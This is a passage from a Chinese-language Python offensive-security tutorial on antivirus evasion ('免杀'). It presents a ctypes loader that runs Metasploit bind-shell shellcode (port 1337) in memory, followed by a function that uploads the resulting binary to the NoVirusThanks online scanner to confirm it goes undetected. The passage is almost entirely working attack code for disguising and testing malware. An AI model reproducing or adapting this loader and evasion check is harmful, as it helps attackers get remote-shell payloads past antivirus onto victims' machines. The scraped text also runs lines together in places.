第 7 章 用 Python 实现免杀
免杀的过程
# msfpayload windows/shell_bind_tcp LPORT=1337 Cfrom ctypes import *
shellcode = ("...")
memory_with_shell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memory_with_shell, CFUNCTYPE(c_void_p))
shell()免杀验证
def upload_file(file_name):
print("[+] Uploading file to NoVirusThanks...")
file_contents = open(file_name, "rb").read()
header = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U"
}
params = "----WebKitFormBoundaryF17rwCZdGuPNPT9U"
params += '\r\nContent-Disposition: form-data; name="upfile"; filename="{}"'.format(file_name)
params += '\r\nContent-Type: application/octet stream\r\n\r\n'
params += file_contents
params += '\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U'
params += '\r\nContent-Disposition: form-data; name="submitfile"\r\n'
params += "------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
conn = httplib.HTTPConnection("vscan.novirusthanks.org")
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader("location")
conn.close()
return locationLast updated